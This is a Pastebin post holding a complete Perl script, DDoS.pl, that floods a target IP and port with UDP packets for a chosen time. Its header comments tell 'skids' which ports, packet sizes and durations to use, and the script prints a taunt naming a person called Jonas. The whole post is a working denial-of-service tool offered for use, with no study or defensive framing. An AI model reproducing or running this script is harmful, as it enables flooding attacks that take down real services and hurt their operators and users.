Advertisement
Guest User

Jonas

a guest
Apr 30th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1.  
  2. #Created by ~TwentyOne
  3. #Reccomendations (For skids):
  4. #IP - Don't DDoS Government Websites.
  5. #Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
  6. #Size - Use '100 - 1000' (Reccomended).
  7. #Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
  8.  
  9. use Socket;
  10. use strict;
  11.  
  12. print '
  13. JONAS IS A GANGMEMBER
  14.  
  15. ';
  16. print "\n";
  17.  
  18.  
  19. if ($#ARGV != 3) {
  20. print "\n\t\t\t***Error command must recieve four arguements***\n";
  21. print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  22. print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  23. exit(1);
  24. }
  25.  
  26. my ($ip,$port,$size,$time) = @ARGV;
  27. my ($iaddr,$endtime,$psize,$pport);
  28. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  29. $endtime = time() + ($time ? $time : 1000000);
  30. socket(flood, PF_INET, SOCK_DGRAM, 17);
  31. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  32. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  33. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  34. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  35. for (;time() <= $endtime;) {
  36. $psize = $size ? $size : int(rand(1500-64)+64) ;
  37. $pport = $port ? $port : int(rand(65500))+1;
  38.  
  39. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement